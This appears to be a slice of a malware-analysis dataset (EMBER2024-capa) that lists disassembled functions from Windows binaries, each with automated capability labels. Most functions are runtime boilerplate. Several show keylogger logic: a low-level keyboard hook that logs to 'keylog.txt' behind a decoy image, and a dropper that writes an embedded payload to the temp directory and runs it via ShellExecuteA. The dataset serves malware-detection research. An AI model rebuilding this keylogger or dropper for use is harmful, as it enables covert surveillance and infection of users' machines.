joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e7c60
Capabilities:
Query environment variable

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
mov rsi, qword [0x1400f5310]
lea rcx, [0x1400ea940]
movabs rbp, 0x2e78786362696c67
movabs r13, 0x6c6f6f705f68652e
mov rdx, qword [rsi]
mov qword [rsp + 0x68], rdx
xor edx, edx
call sym.pthread_mutex_init
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x1400ea958], 0
movups xmmword [0x1400ea948], xmm0
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x1400e7d25
jmp 0x1400e7de7
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
mov rbx, rax
test rax, rax
je 0x1400e7d88
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rbp
jne 0x1400e7d10
cmp qword [rbx + 7], r13
jne 0x1400e7d10
cmp byte [rbx + 0xf], 0x2e
jne 0x1400e7d10
add rbx, 0x10
lea r12, [rsp + 0x30]
lea r14, [rsp + 0x60]
mov rdi, qword [r12]
test rdi, rdi
je 0x1400e7d6c
mov rcx, qword [r12 + 8]
mov r8, rdi
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x1400e7d76
cmp byte [rbx + rdi], 0x3d
je 0x1400e7e1d
add r12, 0x18
cmp r14, r12
jne 0x1400e7d4f
jmp 0x1400e7d10
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x1400ea958], rbx
jne 0x1400e7df7
mov rax, qword [rsp + 0x68]
sub rax, qword [rsi]
jne 0x1400e7e64
lea rcx, [sym.__tcf_0]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp dbg.atexit
mov qword [0x1400ea958], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
mov qword [0x1400ea950], rax
test rax, rax
je 0x1400e7e56
xor edx, edx
mov qword [0x1400ea948], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x1400e7dbf
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rdi + 1]
xor r8d, r8d
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x1400e7e44
test dl, dl
jne 0x1400e7d10
test eax, eax
js 0x1400e7d10
mov dword [r12 + 0x10], eax
jmp 0x1400e7d10
xor ecx, ecx
mov qword [0x1400ea958], rcx
jmp 0x1400e7dbf
call dbg.__stack_chk_fail
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140021470]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140021480]
mov dword [rax], 1
mov rax, qword [0x140021490]
mov dword [rax], 1
mov rax, qword [0x1400213e0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140021460]
mov dword [0x14002400c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140021540]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140021520]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1400213c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xc0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, section..rdata
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
lea rdx, [0x140021016]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov r9, rax
mov r8d, 0x1da4b
mov edx, 1
lea rax, section..data
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x250
pop rbp
ret

Function at 0x140001527
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov eax, dword [rbp + 0x10]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
shl eax, 0x10
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
mov r8d, pe_nt_image_headers64
lea rdx, [0x140024060]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyNameTextA]
call rax
test eax, eax
jle 0x140001579
lea rax, [0x140024060]
jmp 0x140001598
mov eax, dword [rbp + 0x10]
mov r8d, eax
lea rax, str.__02X_
mov rdx, rax
lea rax, [0x140024060]
mov rcx, rax
call sym.sprintf
add rsp, 0x30
pop rbp
ret
Function at 0x140001635
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
call sym.__main
call sym.FakeImage
lea rax, [0x140021036]
mov rdx, rax
lea rax, str.keylog.txt
mov rcx, rax
call sym.fopen
mov qword [0x140024048], rax
mov rax, qword [0x140024048]
test rax, rax
jne 0x14000167d
mov eax, 1
jmp 0x140001736
mov r9d, 0
mov r8d, 0
lea rax, [sym.KeyboardProc]
mov rdx, rax
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [0x140024040], rax
mov rax, qword [0x140024040]
test rax, rax
jne 0x1400016ea
mov rax, qword [0x140024048]
mov rcx, rax
call sym.fclose
mov eax, 1
jmp 0x140001736
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0x30]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jne 0x1400016ca
mov rax, qword [0x140024040]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call rax
mov rax, qword [0x140024048]
mov rcx, rax
call sym.fclose
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140001a00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001a70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140024144]
test esi, esi
mov rbx, rcx
jle 0x140001ba0
mov rax, qword [0x140024148]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001abb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001aa0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001bc2
mov rax, qword [0x140024148]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140024148]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ba7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b50
add dword [0x140024144], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140024148]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ac8
mov rax, qword [0x140024148]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002130
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400241a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140024180]
test rbx, rbx
je 0x14000218c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002183
test rsi, rsi
je 0x140002183
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002168
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop

Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400023f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000243d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002434
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000243f
add rax, 0x28
cmp rax, r9
jne 0x140002420
xor eax, eax
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024d0
mov rdx, qword [0x1400213e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024be
cmp word [rax + 0x18], 0x20b
jne 0x1400024be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400024d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400024e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400213e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002500
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002508
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002500
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000255d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002554
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002500
add rax, 0x28
cmp rax, r9
jne 0x140002540
xor eax, eax
ret

Function at 0x140002560
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400213e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000257f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002588
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000257f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400025a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400213e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025c0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002610
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002607
test rcx, rcx
je 0x1400025c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400025f8
xor eax, eax
ret

Function at 0x140002620
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400213e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000263f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002648
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400213e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002680
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002688
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002680
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140002680
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400026d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026e0
add rdx, 0x28
cmp r9, rdx
jne 0x1400026c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400026f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400213e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002712
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002720
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002712
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002712
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002712
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002775
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002788
add rdx, 0x28
cmp rdx, r10
jne 0x140002760
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002797
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400027a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000277e
test ecx, ecx
jg 0x140002790
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000171e
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
lea rdx, [0x14000505f]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001756
mov eax, 0
jmp 0x1400017f8
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_ftell
cdqe
mov rdx, qword [rbp + 0x18]
mov qword [rdx], rax
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400017c6
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov eax, 0
jmp 0x1400017f8
mov rax, qword [rbp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rax, qword [rbp - 0x10]
add rsp, 0x30
pop rbp
ret

Function at 0x1400017fe
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push rbx
mov eax, 0x2148
call fcn.140003360
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20e0], rcx
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xac]
lea rax, [rbp + 0xb0]
mov r9, rdx
mov r8d, 0x2000
mov rdx, rax
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x1400018d8
mov qword [rbp + 0x20b8], 0
jmp 0x1400018c4
mov rax, qword [rbp + 0x20b8]
mov rbx, qword [rbp + rax*8 + 0xb0]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp - 0x60]
mov r9d, 0x104
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleBaseNameA
test eax, eax
je 0x1400018bc
mov rdx, qword [rbp + 0x20e0]
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
call rax
test eax, eax
jne 0x1400018bc
mov rax, qword [rbp + 0x20b8]
mov rax, qword [rbp + rax*8 + 0xb0]
jmp 0x1400018dd
add qword [rbp + 0x20b8], 1
mov eax, dword [rbp + 0xac]
shr eax, 3
mov eax, eax
cmp qword [rbp + 0x20b8], rax
jb 0x14000185c
mov eax, 0
add rsp, 0x2148
pop rbx
pop rbp
ret

Function at 0x1400025a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.1400033a0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x140002610
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
test esi, esi
mov rbx, rcx
jle 0x140002740
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000265b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400026e5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002640
mov rcx, rbx
call fcn.140003080
test rax, rax
mov rdi, rax
je 0x140002762
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400031c0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002747
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400026de
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400026f0
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140008098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400026de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400025a0
nop dword [rax]
xor esi, esi
jmp 0x140002668
mov rax, qword [0x140008098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.1400025a0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.1400025a0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002cd0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140002d2c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002d23
test rsi, rsi
je 0x140002d23
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002d08
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002f40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002f78
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002f80
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002f50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002f78
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002f80
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002f60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002f78
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002f80
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140003080
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005550]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400030a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400030a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400030a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400030fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400030f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400030a0
add rax, 0x28
cmp rax, r9
jne 0x1400030e0
xor eax, eax
ret

Function at 0x140003100
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005550]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000311f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003128
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000311f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400031c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005550]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400031df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
